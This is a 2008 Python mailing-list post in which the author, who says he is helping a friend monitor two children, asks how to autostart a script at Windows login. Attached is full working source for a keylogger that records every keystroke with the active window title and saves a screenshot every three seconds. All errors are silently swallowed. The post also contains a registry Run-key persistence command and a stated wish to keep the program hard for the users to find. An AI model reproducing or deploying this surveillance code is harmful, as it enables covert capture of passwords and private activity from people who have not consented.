How to autorun a python script when a specific user logs on?

jack trades trades at none.com
Tue Feb 5 08:57:44 CET 2008


I wrote a simple keylogger for a friend of mine that wants to keep track of
his kid's (12 and 14 yr old boys) computer usage to make sure they aren't
getting into the naughty parts of the web.  The logger works great (source
attached at bottom) but I ran into some troubles getting it to autorun on
login.

The method I tried was to add a registry entry using the function below.
def autostartProgram():
  """Registers program with the windows registry to autostart on login"""
  os.system(r'reg add HKLM\software\microsoft\windows\currentversion\run /v
logger /t REG_SZ /d C:\keylogger\logger.py')

This starts the program on login, no problem.  However I noticed that after
logging out and back in on my dev (xp pro) machine that "My Network Places"
was gone from my start menu.  I restored the registry and tried again.  It
happened over and over.  I also had problems with Winamp/Media Player after
doing this (grrr I hate Windoze).

Also I noticed that when you switch users using this method, it shows that
there is 1 program running.  While I'm not trying to be stealthy I don't
want the kids poking around in his system (probably destroying it) trying to
find the program that's running.

How would I SAFELY start the program at login time for a specific user?
I've been reading google about this for the past 5 hours and I'm stuck,
please help.
Note:  I thought about registering it as a system service, but wouldn't that
make the program start for any user that logs on?

Thanks for sparing some time,
Jack Trades



PS.  The source for the logger is below.  I'll post the source for the
reader when I'm finished if anyone's interested (I'll also post it to
uselesspython when they're back up).
Note:  Currently this program must be stored in a folder named
"C:\keylogger\"  (I won't post to uselesspython until I fix this, but it
seems necessary when autostarting the program through the registry.)


## Windows Only Script!!!
############################################################################
#
## logger.py | 2008-02-04 | Logs keystrokes and screenshots to disk
##
##    Copyright (C) 2008, Jack Trades
##
##    This program is free software: you can redistribute it and/or modify
##    it under the terms of the GNU General Public License as published by
##    the Free Software Foundation, either version 3 of the License, or
##    (at your option) any later version.
##
##    This program is distributed in the hope that it will be useful,
##    but WITHOUT ANY WARRANTY; without even the implied warranty of
##    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
##    GNU General Public License for more details.
##
##    You should have received a copy of the GNU General Public License
##    along with this program.  If not, see <http://www.gnu.org/licenses/>
##
## Recent Changes:
## Added quality setting to grabScreen
## Wrapped all functions in try/except blocks to silently pass over errors
##
## TODO:
## Write function to send data to secure ftp server in local network
## Write any errors to a text file
############################################################################
#
## Requires: pyHook, win32all, PIL

import pyHook
import pythoncom
import ImageGrab
from time import time
from threading import Timer


############################################################################
#
## Start-Up
############################################################################
#

## The full path is required when started automatically through windows
registry
## Need to find a fix to allow relative paths (this way is UGLY!)
folder = 'C:\\keylogger\\'

filename = folder+'data\\'+str(time())  ## Each program start creates a new
file
skippedKeys = set( (0,) )

def offloadData():
  """Every time the program starts it should offload its log file and
  screenshots to another computer.  """
  pass


############################################################################
#
## Keylogger
############################################################################
#
## The logger skips over keys defined in the global variable *skippedKeys*

def writeData(eventWindow, ascii):
  """Appends each keystroke to file *filename* as defined at the top"""
  try:
    eventTime = time()
    f = open(filename, 'a')
    f.write(str( (ascii, eventTime, eventWindow) )+',')
    f.close()
  except:
    pass

def onKeyboardEvent(event):
  """This function is called by pyHook each time a key is pressed.
  It writes the (key,time,window) to the logfile as defined in writeData()
  It also skips unnecessary keys (such as shift, ctrl, alt, etc.)"""
  try:
    eventWindow, ascii = event.WindowName, event.Ascii
    if ascii not in skippedKeys:          ## skippedKeys is a global
variable
      #ascii = chr(ascii)                 ## uncomment to store chr(ascii)
values
      #print ascii                        ## uncomment to print keys to
screen
      writeData(eventWindow, ascii)
    return True                           ## passes the event to other
handlers
  except:
    return True                           ## ensures that we pass the key
along
                                          ## even if an error occurs


############################################################################
#
## Screenshots
############################################################################
#

def grabScreen(imageQuality=20):
  """Take a screenshot and save it to the folder screens// with filename
time()"""
  try:
    img = ImageGrab.grab()
    img.save(folder+'screens\\'+str(time())+'.jpg', quality=imageQuality)
  except:
    pass

def startScreenshots(delay=3):
  """Takes a screenshot every X seconds using grabScreen()"""
  try:
    grabScreen()
    t = Timer(delay, startScreenshots, [delay])
    t.start()
  except:
    pass

############################################################################
#
## Main
############################################################################
#

def run(delay=3):
  try:
    ## Start saving screenshots every X seconds
    startScreenshots(delay)
    ## Setup a HookManager and bind OnKeyboardEvent to HookManager.KeyDown
    hm = pyHook.HookManager()
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
    ## Pump keys into HookManager | Does this need a try/except ?
    try:
      pythoncom.PumpMessages()
    except:
      pass
  except:
    pass

if __name__ == '__main__':
  try:
    run(3)        ## Run keylogger with 3 second delay between screenshots
  except:
    pass





More information about the Python-list mailing list